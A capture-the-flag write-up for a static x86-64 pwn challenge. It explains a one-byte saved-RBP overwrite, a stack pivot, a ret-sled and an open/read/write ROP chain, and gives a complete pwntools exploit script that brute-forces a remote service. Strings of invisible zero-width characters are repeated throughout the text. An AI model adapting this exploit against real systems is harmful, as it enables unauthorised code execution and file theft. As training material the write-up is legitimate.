← Back to Writeups
CUSTOMMediumpwn

speedrun4 (rop_top)

XESXOR9/2/20267 min read
#pwn#custom#medium#brute_force_lsb_pivot#double_leave_ret_stack_pivot#partial_saved_rbp_overwrite#printf_stack_leak#remote_fd_discovery#ret2syscall_open_read_write#ret_sled

speedrun4 (rop_top)

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: brute_force_lsb_pivot, double_leave_ret_stack_pivot, partial_saved_rbp_overwrite, printf_stack_leak, remote_fd_discovery, ret2syscall_open_read_write, ret_sled

Summary

Task: static no-PIE x86-64 pwn (DEF CON Quals 2019 speedrun004) with a 1-byte overflow that only overwrites the LSB of the saved RBP. Solution: partial saved-RBP overwrite drives a double leave;ret stack pivot into a ret-sled + open/read/write ret2syscall ROP chain, brute-forcing the pivot LSB across reconnects and reading /flag from remote fd 5.

speedrun4 (rop_top) — spbctf

Description

nc 109.233.56.90 11511

(Binary rop_top — DEF CON Quals 2019 speedrun004, re-hosted.)

Statically linked, stripped x86-64 ELF. The program asks "how much do you have to say?", reads a number n, and if 0 < n <= 273 reads n bytes into a 272-byte stack buffer. Because the max read length is exactly buffer_size + 1, we get a 1-byte overflow that touches only the LSB of the saved RBP — the return address is out of reach. The goal is to leverage this single-byte corruption into full control and read /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary properties

  • ELF 64-bit x86-64, statically linked, stripped, GCC (Ubuntu 7.3.0).
  • checksec: Partial RELRO, No canary, NX enabled, No PIE (base 0x400000).
  • Static non-PIE means file offset == virtual address, so ROP-gadget file offsets map directly to runtime vaddrs — no leak needed to locate gadgets.

Program flow

  • 0x400bd2 ("driver"): prints "how much do you have to say?", reads a 9-byte number string, atois it into a signed int n.
    • n <= 0 → "That's not much to say."
    • n > 273 (0x111) → "That's too much to say!."
    • 0 < n <= 273 → calls the read function at 0x400b73 with n as the length.
  • 0x400b73 (frame sub $0x130): read(0, rbp-0x110, n) into a 272-byte buffer, then printf("Interesting thought \"%s\", I'll take it into consideration.\n", buf). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability

  • Buffer is 272 bytes but read length can be up to 273 → exactly a 1-byte overflow that overwrites only the LSB of the saved RBP. The return address (at rbp+8, distance 280 from buffer start) is not reachable.
  • Bonus leak: the trailing printf("%s") has no null terminator between the buffer and the saved RBP, so it leaks the saved RBP bytes. Sending 272 bytes leaks the full saved RBP; sending 273 leaks bytes 1..5 while byte 0 is attacker-controlled. This confirms the saved-RBP LSB is always 16-aligned. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1-byte saved-RBP overwrite → double leave;ret stack pivot

Stack layout (derived), where RBP_D is the driver's frame pointer:

  • Driver 0x400bd2 has RBP = RBP_D; it calls 0x400b73.
  • Inside 0x400b73: push rbp; mov rbp,rsp → RBP_B = RBP_D - 0x20. Buffer = RBP_B - 0x110 = RBP_D - 0x130. Saved RBP (value RBP_D) sits at [RBP_B] = buffer + 0x110. Read byte 272 overwrites its LSB.
  • 0x400b73 epilogue leave;ret: mov rsp,rbp(RBP_B); pop rbp → rbp = corrupted RBP_D' (LSB = X); ret returns cleanly to 0x400bd2 (retaddr intact).
  • 0x400bd2 epilogue leave;ret: mov rsp,rbp → rsp = RBP_D' (corrupted!); pop rbp; ret. Execution now pops the return target from [RBP_D'+8] and keeps consuming the stack upward — i.e. it lands somewhere inside our buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Landing offset math (into our buffer):

offset = (RBP_D' + 8) - buffer_start = X - orig_lsb + 0x138
  • Empirically orig_lsb (the real saved-RBP LSB) is always 16-aligned (0x00,0x10,...,0xf0) and uniformly random per connection (stack ASLR).
  • We choose X 16-aligned too, so offset ≡ 8 (mod 16) — always a valid 8-byte boundary.
  • Fill the buffer with a ret sled leading up to a ROP chain placed at the tail of the buffer. Brute-force X ∈ {0,16,...,240} across reconnects until the landing hits the sled and slides into the chain. Solved on X = 0x00. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical gotcha: remote fd is 5, not 3

  • On the remote, open("/flag") returns file descriptor 5, NOT 3 — fds 3 and 4 are consumed by the socat/inetd wrapper. The first chain used read(3, ...) and returned all zeros.
  • Diagnosed with a probe ROP that stored the open() return value (rax) into .bss via mov [rsi], rax; ret, then write(1, ...) dumped it: the value was 5. Reading from fd 5 then produced the flag.
  • Also observed -14 (EFAULT = 0xfffffffffffffff2) returns when the sled landing was imprecise and the chain started mid-way with rdi pointing at unmapped memory. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gadgets used (vaddr == file offset)

pop rdi; ret        = 0x400686
pop rsi; ret        = 0x410a93
pop rdx; ret        = 0x44c6b6
pop rax; ret        = 0x415f04
syscall; ret        = 0x474f15   (bytes 0f 05 c3; naive syscall at 0x40132c loops via jmp — unusable)
mov [rdi], rsi; ret = 0x44788b   (write "/flag" string into .bss)
mov [rsi], rax; ret = 0x47f521   (diagnostic: dump open() fd)
ret                 = 0x400416   (ret-sled)
writable .bss       = 0x6bb400   (writable LOAD segment spans [0x6b6120, 0x6bca00])

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final ROP chain (open/read/write)

  1. Write "/flag\0\0\0" to BSS: pop rdi=BSS; pop rsi="/flag\0\0\0"; mov [rdi],rsi
  2. open(BSS, 0): pop rsi=0; pop rax=2; syscall (rdi still = BSS) → fd (= 5 on remote)
  3. read(5, BSS+0x200, 0x100): pop rdi=5; pop rsi=BSS+0x200; pop rdx=0x100; pop rax=0; syscall
  4. write(1, BSS+0x200, 0x100): pop rdi=1; pop rax=1; syscall (rsi, rdx still set)

Interaction protocol

  • recvuntil "say?" → sendline "273" → recvuntil "yourself?" → send the 273-byte payload (272-byte body + 1 LSB byte X).
  • The flag comes back in the printf echo line followed by the file contents. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final solve script

python
#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'error'

HOST, PORT = '109.233.56.90', 11511

POP_RDI  = 0x400686
POP_RSI  = 0x410a93
POP_RDX  = 0x44c6b6
POP_RAX  = 0x415f04
SYSCALL  = 0x474f15
MOV_RDI_RSI = 0x44788b     # mov [rdi], rsi ; ret
RET      = 0x400416
BSS      = 0x6bb400
FD       = 5               # remote open("/flag") returns fd 5 (3,4 used by wrapper)

def build_rop():
    r  = p64(POP_RDI) + p64(BSS)
    r += p64(POP_RSI) + b'/flag\x00\x00\x00'
    r += p64(MOV_RDI_RSI)                    # [BSS] = "/flag"
    # open(BSS, 0): rdi still = BSS
    r += p64(POP_RSI) + p64(0)
    r += p64(POP_RAX) + p64(2)
    r += p64(SYSCALL)                        # rax = fd (5 on remote)
    # read(FD, BSS+0x200, 0x100)
    r += p64(POP_RDI) + p64(FD)
    r += p64(POP_RSI) + p64(BSS + 0x200)
    r += p64(POP_RDX) + p64(0x100)
    r += p64(POP_RAX) + p64(0)
    r += p64(SYSCALL)
    # write(1, BSS+0x200, 0x100): rsi, rdx still set
    r += p64(POP_RDI) + p64(1)
    r += p64(POP_RAX) + p64(1)
    r += p64(SYSCALL)
    return r
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ROP = build_rop()

def make_payload(X):
    # 272-byte body: big ret-sled then ROP chain at the tail.
    body_len = 272
    assert len(ROP) <= body_len, len(ROP)
    sled_bytes = body_len - len(ROP)
    body = p64(RET) * (sled_bytes // 8)
    body += b'\x00' * (sled_bytes - len(body))  # pad if not a multiple of 8
    body += ROP
    assert len(body) == body_len
    return body + bytes([X])   # 273rd byte overwrites LSB of saved RBP

def run(X):
    io = remote(HOST, PORT)
    io.recvuntil(b'say?')
    io.sendline(b'273')
    io.recvuntil(b'yourself?')
    io.send(make_payload(X))
    data = b''
    try:
        data = io.recvall(timeout=1.5)
    except Exception:
        pass
    io.close()
    return data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    chain_off = 272 - len(ROP)
    print("[i] rop len=%d, chain starts at buffer offset %d (0x%x)"
          % (len(ROP), chain_off, chain_off))
    # Want landing offset = X - orig_lsb + 0x138 to hit the sled [0, chain_off].
    # orig_lsb in {0,16,...,240}; try 16-aligned X, multiple rounds until it lands.
    Xs = list(range(0, 256, 16))
    tries = 0
    for rnd in range(30):
        for X in Xs:
            tries += 1
            data = run(X)
            if b'spbctf{' in data:
                print("[+] X=0x%02x tries=%d" % (X, tries))
                sys.stdout.write(data.decode('latin1'))
                sys.exit(0)
        print("[.] round %d done (%d tries)" % (rnd, tries))
    print("[-] no flag")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍